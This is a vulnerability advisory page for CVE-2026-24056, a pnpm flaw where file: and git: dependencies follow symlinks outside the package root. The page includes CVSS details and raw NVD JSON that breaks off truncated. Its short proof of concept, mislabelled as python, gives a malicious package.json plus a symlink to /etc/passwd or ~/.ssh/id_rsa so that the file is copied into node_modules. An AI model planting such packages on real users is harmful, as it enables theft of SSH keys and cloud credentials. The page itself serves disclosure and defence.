Security Vulnerability Report
中文
CVE-2026-24056 CVSS 6.5 MEDIUM

CVE-2026-24056

Published: 2026-01-26 22:15:57
Last Modified: 2026-01-28 17:27:13

Description

pnpm is a package manager. Prior to version 10.28.2, when pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data. The vulnerability only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected. The issue impacts developers installing local/file dependencies andCI/CD pipelines installing git dependencies. It can lead to credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`. Version 10.28.2 contains a patch.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:* - VULNERABLE
pnpm < 10.28.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Malicious package.json for exploiting CVE-2026-24056 { "name": "malicious-pnpm-package", "version": "1.0.0", "description": "PoC for symlink path traversal in pnpm", "dependencies": { "leaked-data": "file:./leaked-data" } } // In leaked-data directory, create a symlink to sensitive file: // ln -s /etc/passwd normal-file // When pnpm installs this dependency, it copies /etc/passwd content // to node_modules/leaked-data/normal-file // Example attack scenario: // 1. Attacker creates package with symlink to ~/.ssh/id_rsa // 2. Victim runs: pnpm install (with the malicious git: or file: dependency) // 3. pnpm copies SSH private key to node_modules // 4. Attacker can now access victim's SSH credentials

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24056", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:56.667", "lastModified": "2026-01-28T17:27:13.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Prior to version 10.28.2, when pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data. The vulnerability only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected. The issue impacts developers installing local/file dependencies andCI/CD pipelines installing git dependencies. It can lead to credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`. Version 10.28.2 contains a patch."}, {"lang": "es", "value": "pnpm es un gestor de paquetes. Antes de la versión 10.28.2, cuando pnpm instala una dependencia 'file:' (directorio) o 'git:', sigue los enlaces simbólicos y lee el contenido de sus destinos sin restringirlos a la raíz del paquete. Un paquete malicioso que contiene un enlace simbólico a una ruta absoluta (por ejemplo, '/etc /passwd', '~/.ssh/id_rsa') hace que pnpm copie el contenido de ese archivo en 'node_modules', filtrando datos locales. La vulnerabilidad solo afecta a las dependencias 'file:' y 'git:'. Los paquetes de registro (npm) tienen los enlaces simbólicos eliminados durante la publicación y NO se ven afectados. El problema afecta a los desarrolladores que instalan dependencias locales/de archivo y a las tuberías de CI/CD que instalan dependencias de git. Puede conducir al robo de credenciales a través de enlaces simbólicos a '~/.aws/credentials', '~/.npmrc', '~/.ssh/id_rsa'. La versión 10.28.2 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.28.2", "matchCriteriaId": "BA06266E-E70F-4B2B-AA69-7482EEE8A7A0"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw", "source": "security-advisories@gi ... (truncated)